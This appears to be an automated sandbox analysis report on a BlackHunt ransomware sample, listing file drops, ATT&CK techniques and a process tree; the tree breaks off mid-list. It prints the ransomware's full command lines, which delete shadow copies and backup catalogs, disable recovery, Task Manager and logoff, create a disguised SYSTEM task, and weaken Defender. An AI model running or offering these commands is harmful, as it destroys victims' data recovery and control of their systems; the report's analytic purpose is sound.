File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\#BlackHunt_ReadMe.txt	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Rankin_Inlet	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.directorywatcher_1.1.0.v20131211-1531.jar	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_ReadMe.hta	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ks_IN\#BlackHunt_ReadMe.txt	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\#BlackHunt_ReadMe.txt	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\DumontDUrville	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dushanbe	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-5	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-api_zh_CN.jar	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Detroit	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\feature.xml	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerActions.exsd	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tt.txt	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk15\#BlackHunt_ReadMe.hta	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\SaveAsRTF.api	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\#BlackHunt_ReadMe.hta	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hy.txt	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-application-views.xml	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\#BlackHunt_ReadMe.hta	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fur.txt	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.swt.nl_zh_4.4.0.v20140623020002.jar	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\VideoLAN\VLC\locale\it\#BlackHunt_ReadMe.txt	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\#BlackHunt_ReadMe.txt	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\drvDX8.x3d	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\ADMPlugin.apl	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files (x86)\Google\Update\Install\#BlackHunt_Private.key	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-next-static.png	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\win32\#BlackHunt_Private.key	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\vlc.mo	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\sports_disc_mask.png	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\#BlackHunt_Private.key	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-core-output2.xml_hidden	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\2d.x3d	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Krasnoyarsk	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine.nl_zh_4.4.0.v20140623020002.jar	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\updater.jar	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationLeft_ButtonGraphic.png	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1904	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2172	vssadmin.exe
4012	vssadmin.exe
4004	vssadmin.exe
2800	vssadmin.exe
1596	vssadmin.exe
3932	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2512	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	Process not Found
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	Process not Found
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2256	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2416	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
Token: SeRestorePrivilege	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
Token: SeBackupPrivilege	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
Token: SeTakeOwnershipPrivilege	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
Token: SeAuditPrivilege	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
Token: SeSecurityPrivilege	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
Token: SeIncBasePriorityPrivilege	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
Token: SeBackupPrivilege	3404	vssvc.exe
Token: SeRestorePrivilege	3404	vssvc.exe
Token: SeAuditPrivilege	3404	vssvc.exe
Token: SeBackupPrivilege	2796	wbengine.exe
Token: SeRestorePrivilege	2796	wbengine.exe
Token: SeSecurityPrivilege	2796	wbengine.exe
Token: SeSecurityPrivilege	1992	wevtutil.exe
Token: SeBackupPrivilege	1992	wevtutil.exe
Token: SeSecurityPrivilege	3004	wevtutil.exe
Token: SeBackupPrivilege	3004	wevtutil.exe
Token: SeSecurityPrivilege	3852	wevtutil.exe
Token: SeBackupPrivilege	3852	wevtutil.exe
Token: SeSecurityPrivilege	3592	wevtutil.exe
Token: SeBackupPrivilege	3592	wevtutil.exe
Token: SeSecurityPrivilege	3044	wevtutil.exe
Token: SeBackupPrivilege	3044	wevtutil.exe
Token: SeDebugPrivilege	2512	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2888 wrote to memory of 2040	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	155
PID 2888 wrote to memory of 2040	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	155
PID 2888 wrote to memory of 2040	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	155
PID 2888 wrote to memory of 2040	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	155
PID 2888 wrote to memory of 2028	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	153
PID 2888 wrote to memory of 2028	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	153
PID 2888 wrote to memory of 2028	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	153
PID 2888 wrote to memory of 2028	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	153
PID 2888 wrote to memory of 2916	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	152
PID 2888 wrote to memory of 2916	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	152
PID 2888 wrote to memory of 2916	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	152
PID 2888 wrote to memory of 2916	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	152
PID 2888 wrote to memory of 1816	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	63
PID 2888 wrote to memory of 1816	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	63
PID 2888 wrote to memory of 1816	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	63
PID 2888 wrote to memory of 1816	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	63
PID 2040 wrote to memory of 2292	2040	cmd.exe	150
PID 2040 wrote to memory of 2292	2040	cmd.exe	150
PID 2040 wrote to memory of 2292	2040	cmd.exe	150
PID 2888 wrote to memory of 2564	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	149
PID 2888 wrote to memory of 2564	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	149
PID 2888 wrote to memory of 2564	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	149
PID 2888 wrote to memory of 2564	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	149
PID 2916 wrote to memory of 2584	2916	cmd.exe	148
PID 2916 wrote to memory of 2584	2916	cmd.exe	148
PID 2916 wrote to memory of 2584	2916	cmd.exe	148
PID 2888 wrote to memory of 2644	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	146
PID 2888 wrote to memory of 2644	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	146
PID 2888 wrote to memory of 2644	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	146
PID 2888 wrote to memory of 2644	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	146
PID 2888 wrote to memory of 2684	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	143
PID 2888 wrote to memory of 2684	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	143
PID 2888 wrote to memory of 2684	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	143
PID 2888 wrote to memory of 2684	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	143
PID 2888 wrote to memory of 2648	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	142
PID 2888 wrote to memory of 2648	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	142
PID 2888 wrote to memory of 2648	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	142
PID 2888 wrote to memory of 2648	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	142
PID 2028 wrote to memory of 2600	2028	cmd.exe	32
PID 2028 wrote to memory of 2600	2028	cmd.exe	32
PID 2028 wrote to memory of 2600	2028	cmd.exe	32
PID 2888 wrote to memory of 2952	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	141
PID 2888 wrote to memory of 2952	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	141
PID 2888 wrote to memory of 2952	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	141
PID 2888 wrote to memory of 2952	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	141
PID 2888 wrote to memory of 2724	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	140
PID 2888 wrote to memory of 2724	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	140
PID 2888 wrote to memory of 2724	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	140
PID 2888 wrote to memory of 2724	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	140
PID 2888 wrote to memory of 2768	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	138
PID 2888 wrote to memory of 2768	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	138
PID 2888 wrote to memory of 2768	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	138
PID 2888 wrote to memory of 2768	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	138
PID 2888 wrote to memory of 2592	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	135
PID 2888 wrote to memory of 2592	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	135
PID 2888 wrote to memory of 2592	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	135
PID 2888 wrote to memory of 2592	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	135
PID 2888 wrote to memory of 2704	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	134
PID 2888 wrote to memory of 2704	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	134
PID 2888 wrote to memory of 2704	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	134
PID 2888 wrote to memory of 2704	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	134
PID 2888 wrote to memory of 2512	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	132
PID 2888 wrote to memory of 2512	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	132
PID 2888 wrote to memory of 2512	2888	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe	132

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe
"C:\Users\Admin\AppData\Local\Temp\a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:1816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1224
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a56e0df6a1cd46a4ceb06bbb332ff301dd0c4b163ca43630a6e544992b44e206.exe" /F
  2⤵
  PID:2372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2768
- C:\Windows\System32\cmd.exe
